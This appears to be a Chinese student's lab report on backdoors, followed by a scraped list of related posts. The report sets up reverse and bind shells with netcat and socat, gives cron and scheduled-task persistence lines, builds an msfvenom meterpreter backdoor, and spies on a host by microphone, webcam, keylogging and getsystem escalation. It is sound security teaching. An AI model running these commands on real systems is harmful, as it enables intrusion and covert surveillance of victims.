实验内容

1.使用netcat获取主机操作Shell,cron启动

2.使用socat获取主机操作Shell, 任务计划启动

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

基础问答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 网站捆绑下载

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • 修改注册表,添加自启动、修改正常软件快捷方式的启动路径

(3)Meterpreter有哪些给你映像深刻的功能?

  • 夺取开启摄像头、麦克风等设备权限,读取键盘内容

(4)如何发现自己有系统有没有被安装后门?

  • 电脑安全软件扫描、查看自启项有无异常程序

实验过程

常用后门工具测试

ncat

Linux获得Windows Shell
  • 首先在查看kali虚拟机的IP地址ifconfig(这里和win的ipconfig有所区别)

  • kali使用nc指令监听端口:nc -l -p 5231
  • Windows上使用ncat.exe程序的-e选项项反向连接Kali主机的端口:ncat.exe -e cmd.exe 192.168.70.131 5231
  • kali:获得win7 Windows Shell

Windows获得Linux Shell
  • Windows:使用ipconfig指令查看本机IP:192.168.70.130

  • 使用ncat.exe程序监听本机的端口:ncat.exe -l -p 5231
  • kali:使用nc指令的-e选项反向连接Windows主机的端口:ncat 192.168.70.130 5231 -e /bin/sh
  • Windows获取kali shell

用nc传输数据
  • 在Windows下监听端口:ncat.exe -l 5231
  • kali下连接到Windows的端口:nc 192.168.70.130 5231

    之后就可以双向传输文字
用nc传输文件
  • Windows下监听端口,把收到的数据保存到wyhy.out中:ncat.exe -l 5231 > wyhy.out
  • kali下先创建wyhy.in文件,再反弹连接到Windows的端口:nc 192.168.70.130 5231 < wyhy.in

    传输成功后kali里创建的文件的内容就会在Windows同名文件中出现。



1、使用netcat获取主机操作Shell,cron启动

先在win7系统下,监听端口:ncat.exe -l -p 5231

在kali下,使用man cron查看crontab命令的帮助文档



  • crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

crontab -e指令编辑一条定时任务



在最后一行添加18 * * * * /bin/netcat 192.168.70.131 -e /bin/sh,意思是在每个小时的第18分钟反向连接Windows主机的端口

在时间没到的时候无论你在Windows那边怎么输都是没有反应的,但是在时间到的一刻你输入的所有都会瞬间显示在频幕上


2、使用socat获取主机操作Shell, 任务计划启动

  • 在Windows系统下,打开控制面板>系统和安全>管理工具>任务计划程序>创建任务在触发器选项开始任务选项选择工作站锁定时



    在操作选项卡填入socat的路径,参数填tcp-listen:XX exec:cmd.exe,pty,stderr(XX为自己设定端口号)

创建完成后锁定Windows,然后去kali

在kali输入socat - tcp:windows IP:端口号此时可以发现已经成功获得了一个cmd shell(这里可能需要做两次,Windows初次使用socat会有弹窗提示是否允许使用网络,然而你锁了Windows啥都不知道,不成功就倒回去Windows看看吧)

3、使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=kali IP LPORT=XXXX -f exe > 20165231_backdoor.exe生成后门

在Windows下执行ncat.exe -l 5231 > 20165231_backdoor.exe,被控主机进入接收文件模式



在kali中通过nc windows ip:XXXX < 20165230_backdoor.exe将生成的后门程序传送到Windows主机上

在kali上使用msfconsole指令进入msf控制台

设置监听模块

use exploit/multi/handler //使用监听模块,设置payload

set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload

set LHOST 192.168.70.131 //这里用的是LinuxIP,和生成后门程序时指定的IP相同

set LPORT 5231 //同样要使用相同的端口


设置完成后,执行监听exploit然后在Windows上双击之前生成的文件

此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

4、使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令截获一段音频



使用webcam_snap指令可以使用摄像头进行拍照:



使用webcam stream指令可以使用摄像头进行录像:

使用screenshot指令可以进行截屏:

使用keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录:

先使用getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功

实验遇到的问题

1、使用MSF meterpreter调用摄像头时显示操作失败:1411

解决:虚拟机关联到物理机的摄像头,在VM虚拟机右下加有个U盘标志,右键连接就关联上物理机上的设备了。如果右下角没有U盘标志,那就在虚拟机设置里面添加就ok了。



实验感想

我以前一直以为只要防火墙,安全软件安好就一定不会有什么被入侵的可能。看来我还是太年轻了,我们这种初学的小米渣在win7没关防火墙情况下都能依葫芦画瓢完成渗透,若不是摄像头启动有指示灯,神不知鬼不觉都被拍了。不过对于目前的渣渣技术想要完全渗透到别人的系统里除了这些技术看来还得用上社会工程学才能得手啊。

2018-2019-2 网络对抗技术 20165231 Exp2 后门原理与实践的更多相关文章

  1. 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...

  2. 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...

  3. 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...

  4. 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...

  5. 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...

  6. 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践

    2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...

  7. 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...

  8. 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...

  9. 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践

    2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...

随机推荐

  1. echarts 配置

    堆叠柱状图, 只要保证 stack 属性相同,就强制画成一列 这就是切割线

  2. codeforces#1136E. Nastya Hasn't Written a Legend(二分+线段树)

    题目链接: http://codeforces.com/contest/1136/problem/E 题意: 初始有a数组和k数组 有两种操作,一,求l到r的区间和,二,$a_i\pm x$ 并且会有 ...

  3. Neutron:Firewall as a Service(FWaaS)

    用户可以用它来创建和管理防火墙,在 subnet 的边界上对 layer 3 和 layer 4 的流量进行过滤.   传统网络中的防火墙一般放在网关上,用来控制子网之间的访问. FWaaS 的原理也 ...

  4. Playfair 加密

    题目真的好长但是意思很简单 89.加密 (15分)C时间限制:3 毫秒 | C内存限制:3000 Kb题目内容:一种Playfair密码变种加密方法如下:首先选择一个密钥单词(称为pair)(字母不重 ...

  5. StringBuilder的常用方法

    转自:https://www.cnblogs.com/jack-Leo/p/6684447.html 在程序开发过程中,我们常常碰到字符串连接的情况,方便和直接的方式是通过"+"符 ...

  6. Debian社区群龙无首

    导读 前两天有过消息 Debian 包维护者 Michael Stapelberg 因对 Debian 社区的现状不满而宣布退出 Debian 的维护,该消息引发了人们对于 Debian 的担忧.11 ...

  7. 继收购Magento十个月,Adobe推出Commerce Cloud商务云服务

    去年 5 月,软件巨头 Adobe 以 16.8 亿美元的价格,受过了 Magento .在经历了十个月的业务整合后,该公司终于推出了全新的 Commerce Cloud 商务云服务.据悉,其本质上是 ...

  8. Codeforce Round #555 Div.3 D - N Problems During K Days

    构造题 话说挺水的题..当时怎么就WA到自闭呢.. 先把每个位置按照最低要求填满,也就是相差1..然后从最后一位开始把剩下的数加上,直到不能加为止. #include <bits/stdc++. ...

  9. 机器学习---感知机(Machine Learning Perceptron)

    感知机(perceptron)是一种线性分类模型,通常用于二分类问题.感知机由Rosenblatt在1957年提出,是神经网络和支持向量机的基础.通过修改损失函数,它可以发展成支持向量机:通过多层堆叠 ...

  10. 如何关闭WIN7自动配置 IPV4 地址 169.254

    如何关闭WIN7自动配置 IPV4 地址 169.254 以管理员身份运行cmd.exe 输入:netsh winsock reset catalog 回车 输入:netsh int ip reset ...